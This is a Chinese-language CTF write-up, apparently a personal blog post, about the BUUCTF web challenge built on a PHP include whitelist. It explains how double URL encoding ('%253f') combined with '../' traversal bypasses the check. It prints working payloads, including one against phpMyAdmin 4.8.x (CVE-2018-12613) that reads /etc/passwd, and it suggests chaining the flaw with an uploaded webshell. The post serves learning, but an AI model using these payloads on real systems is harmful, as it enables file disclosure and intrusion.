一段遇到多次的代码
buuctf web方面的第一题,是这样一段代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
做的时候就感觉莫名的眼熟,想了想好像之前做题也遇到过,在二面的时候给的cms中也出现过,就记录一下,或许这就是现cms中经常出现的一个漏洞呢~
P.S.(后来经搜索发现确实是CVE漏洞,编号为CVE-2018-12613)
这里把二面的代码也给贴出来
<?php
include './library/inc.php';
if (get_channel($id, 'id') === false) {
alert_href($_lang['illegal'], './');
}
setUrlBack();
$c_main = $channel['c_main'];
// 获取相关信息
$channel_slist = channel_slist($channel['c_ifsub'] == 1 ? $channel['id'] : $channel['c_parent'], $channel['id']);
$current_channel_location = current_channel_location($channel['id'], $channel['id']);
// 获取上级信息
$channel_parent = $objChannel->getParent($channel['id']);
$channel_main = $objChannel->getMain($channel['id']);
// 获取子集列表
$channel_sub = $objChannel->getSon($channel['id']);
// 分页&列表
if (strpos($channel['c_cmodel'], '_list')) {
include LIB_PATH . 'cls.page.php';
$pager = new Page($channel['c_page']);
$pager->handle($db->getOne("SELECT COUNT(id) FROM detail WHERE d_parent IN (" . $channel['c_sub'] . ")"));
$list_pager = $db->getAll("SELECT * FROM detail WHERE d_parent IN (" . $channel['c_sub'] . ") ORDER BY d_order ASC,id DESC LIMIT " . $pager->page_start . "," . $pager->page_size);
}
include $t_path . $channel['c_cmodel'];
// 释放资源
unset($objChannel);
unset($channel);
unset($c_main);
unset($channel_slist);
unset($current_channel_location);
unset($channel_parent);
function checkFile(&$page)
{
$whitelist = array("more"=>"more.php");
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
自己博客不嫌字多,看该文件中定义的checkFile,几乎和上面那道题类似,都设置了读取白名单,进行了多个if的检验,并在检验返回true后去包含那个文件。
这里注意他的检验方法,先在参数后面加上一个?,再去截断第一个?前的内容进行白名单的比较;我们很容易想到构造
source.php?file=source.php?/../../../../../ffffllllaaaagggg
但其实这个payload是不行的(不知道为什么这个payload在那道题里适用…理论上来说是行不通的),因为它无法去读取到后面那个文件。这时候我们继续看if验证还有个先url解码,再加上一个?,再去对比第一个?前的内容进行白名单比较(为了防止后面还有传参),于是我们得到payload:
source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
他会只截取到source.php拿去进行白名单比较。而后面去读取flag的时候涉及到一个文件包含中的问题,即如果前一个文件不存在的话。他会忽视前一个文件。例子如下,大家可以试一下: 这是用于包含的文件
<?php
$filename = $_GET['filename'];
include($filename);
?>
然后再去用类似payload包含文件
http://localhost/baohan.php?filename=12.txt%253f/../cookie.txt
http://localhost/baohan.php?filename=12/../cookie.txt
http://localhost/baohan.php?filename=12.txtfdaohuithroh/../cookie.txt
%253f是?的二次编码
从上面的例子可以看到,这三个payload读取的都是cookie.txt这个文件,因为前面的12.txt%253f,12,12.txtfdaohuithroh并不存在,于是就被忽略掉了。 而这里我们为了通过验证 这时他包含的会是后一个文件,因为它将前一个文件视为了目录。 再说编码的问题,两次url编码,会在url传过去时一次解码。并在urldecode那里解码为?,就完成了隔断。然后就通过了验证,返回了true,去包含了我们想要的那个文件。
学到的东西,对那两个函数mb_substr,mb_strpos,有了更深的印象,了解到了上文提到的文件包含所包含的文件名的那个机制。还有../../../../../../这种遍历目录的方法。主要就这些。
P.S.(就像我上面补充的,这是个CVE,所以说下结合的方法,个人觉得还是应该配合的文件上传传上去的马进行利用。)
CVE-2018-12613 影响phpMyAdmin 4.8.0和4.8.1
payload:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd